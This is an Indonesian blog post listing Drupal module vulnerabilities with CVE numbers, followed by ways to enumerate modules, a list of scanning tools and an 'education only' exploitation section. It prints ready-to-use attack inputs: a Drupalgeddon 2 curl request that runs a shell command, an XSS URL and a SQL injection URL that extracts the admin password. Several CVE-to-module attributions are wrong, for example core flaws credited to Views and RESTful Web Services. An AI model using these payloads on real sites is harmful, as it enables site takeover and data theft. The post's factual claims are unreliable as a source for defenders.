Kerentanan (Vulnerability) apa yang biasa ada pada Drupal?

0


Drupal memang dikenal sebagai CMS yang tingkat keamanannya lebih kuat dari pada Joomla atau pun WordPress. Tapi, walau pun tingkat keamanannya tinggi, terkadang CMS ini masih memiliki celah keamanan. Kesalahannya ada pada penggunanya, bukan pada Drupalnya. Biasanya, para pengguna malas melakukan update atau tidak tau cara melakukan setting keamanan konfigurasi websitenya sehingga membuat website mereka bisa dibobol oleh para penyerang.



Ada beberapa celah yang pernah terjadi pada Drupal, terutama pada modulnya. Baik itu dulu mau pun sekarang, celah ini masih sering ada jika tidak di update ke versi terbaru. Celah tersebut bisa berupa SQL Injection, RCE, File Upload, hingga Privilege Escalation. Berikut penjelasannya:



Beberapa celah keamanan pada Drupal.


- CKEditor

Vuln = XSS/RCE

CVE = CVE-2021-41164

Penjelasan = Bisa exploit via upload file .html yang berisi JS (JavaScript).



- Views

Vuln = SQL Injection

CVE = CVE-2014-3704

Penjelasan = Memungkinkan remote code execution (Drupalgeddon 1).



- RESTful Web Services

Vuln = RCE / Privilege Escalation

CVE = CVE-2018-7600 “Drupalgeddon 2”

Penjelasan = Bisa ambil alih situs sepenuhnya (Drupalgeddon 2).



- Webform

Vuln = XSS / Arbitrary File Upload

CVE = CVE-2020-13667

Penjelasan = Form input tidak disanitasi dengan baik.



- File Entity

Vuln = Arbitrary File Upload

CVE = CVE-2017-6921

Penjelasan = Penyerang bisa mengunggah file PHP secara tersembunyi.



- Services

Vuln = Remote Code Execution (RCE)

CVE = CVE-2013-6386

Penjelasan = Modul API yang memungkinkan panggilan fungsi PHP secara langsung.



- RESTWS (Restful Web Services)

Vuln = Auth Bypass / RCE

CVE = CVE-2017-6922

Penjelasan = Bisa autentikasi yang dilewati dengan crafted request. Bisa menggunakan tools seperti metasploit.



- Colorbox

Vuln = XSS

CVE = CVE-2022-25277

Penjelasan = bisa melakukan injection pada parameter galeri.



- Entity API

Vuln = Access Bypass

CVE = CVE-2016-7574

Penjelasan = Bisa membaca data sensitif tanpa izin dari admin.



- Panels / Views Bulk Operations

Vuln = CSRF / Access Escalation

Penjelasan = Aksi dimana admin bisa dijalankan tanpa harus autentikasi.



- MiniorangeSAML

Vuln = Privilege escalation via XML Signature Wrapping

Penjelasan = User bisa meregistrasikan diri dan mengubah izin sebagai user menjadi admin menggunakan Intercept di Burp Suite



- Avatar uploader

Vuln = Cross Site Scripting (XSS)

Versi = Drupal avatar_uploader v7.x-1.0-beta8

Penjelasan = bisa melakukan xss pada url form upload


Contoh = http://$target/avatar_uploader.pages.inc?file=<script>alert("test")</script>

Referensi = exploit-db



- Ajax Checklist

Vuln = Multiple SQL Injection

CVE = CVE-2008-5998

Penjelasan = bisa mengakses atau memodifikasi data, dan mengeksploitasi kerentanan laten dalam basis data yang mendasarinya.


Contoh = http://www.example.com/ajaxchecklist/save/1/2',2),(3,3,(select pass from users where uid=1),3),(4,4,'4/3/4)

Referensi = exploit-db



Cara Mengecek Modul Rentan di Situs Drupal


Kamu bisa mendeteksinya secara manual atau otomatis. Berikut beberapa metode:


1. Manual (via URL dan Source)


- Cek file CHANGELOG.txt atau core/ di root site → sering menampilkan versi Drupal.


- Coba akses:


/modules/

/sites/all/modules/

/sites/default/modules/


Biasanya akan terlihat nama modul yang aktif.



- Beberapa situs Drupal juga mengizinkan request:


/admin/modules


Kalau tidak dilindungi login, ini bisa bocor dan melihat daftar modul yang aktif.




2. Otomatis (menggunakan scanner)


Kamu bisa pakai tools seperti berikut:



- Recon / fingerprint = amass, subfinder, whatweb, wappalyzer


- Drupal-specific enumeration = droopescan


- Fuzzing / endpoint discovery = ffuf, dirsearch, gobuster


- Proxy / manual testing = Burp Suite (intercept, repeater)


- Web scanner (informational) = nikto


- Local environment = Docker untuk menjalankan versi Drupal + modul sumber yang sama


- CVE/advisories = NVD, advisories.drupal.org, cvedetails



Cara Melakukan Analisis Keamanan Drupal


Ada beberapa cara yang bisa dilakukan untuk menganalisis keamanan di Drupal:


1. Enumerasi modul aktif.

Fokus ke modul pihak ketiga (bukan core).



2. Cari file upload endpoint.

Modul seperti Webform atau File Entity sering menyediakan upload file tanpa filter MIME type atau mengizinkan seluruh file bisa di upload termasuk .php



3. Tes API endpoint.

Modul REST dan Services bisa jadi pintu RCE jika validasi request lemah.



4. Periksa konfigurasi default.

Banyak admin lupa menonaktifkan install.php, update.php, atau mengamankan path /admin/.



5. Gunakan database CVE.

Misalnya: https://www.cvedetails.com

Cari keyword: Drupal module [nama modul].




Contoh Eksploitasi Nyata (Hanya Untuk Edukasi)


Target: Modul RESTful (CVE-2018-7600)

Dampak: RCE (Remote Code Execution)

Payload singkat, misalnya:


$curl -s -X POST \

  -d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#markup]=ls' \

  https://target.com/user/register





Kesimpulan:


Drupal bisa sangat aman, tapi begitu admin lupa atau malas mengupdate modul, celahnya bisa muncul tanpa admin ketahui.


Saat eksplorasi keamanan Drupal fokus pada: Enumerasi modul aktif, cek versi modul dan cocokkan dengan database CVE, lalu uji endpoint upload dan REST.



Sekian penjelasan dari saya.

Wassalamualaikum.


Post a Comment

0 Comments

Ada pertanyaan? Tulis di kolom komentar atau klik dibawah ini ...

Post a Comment (0)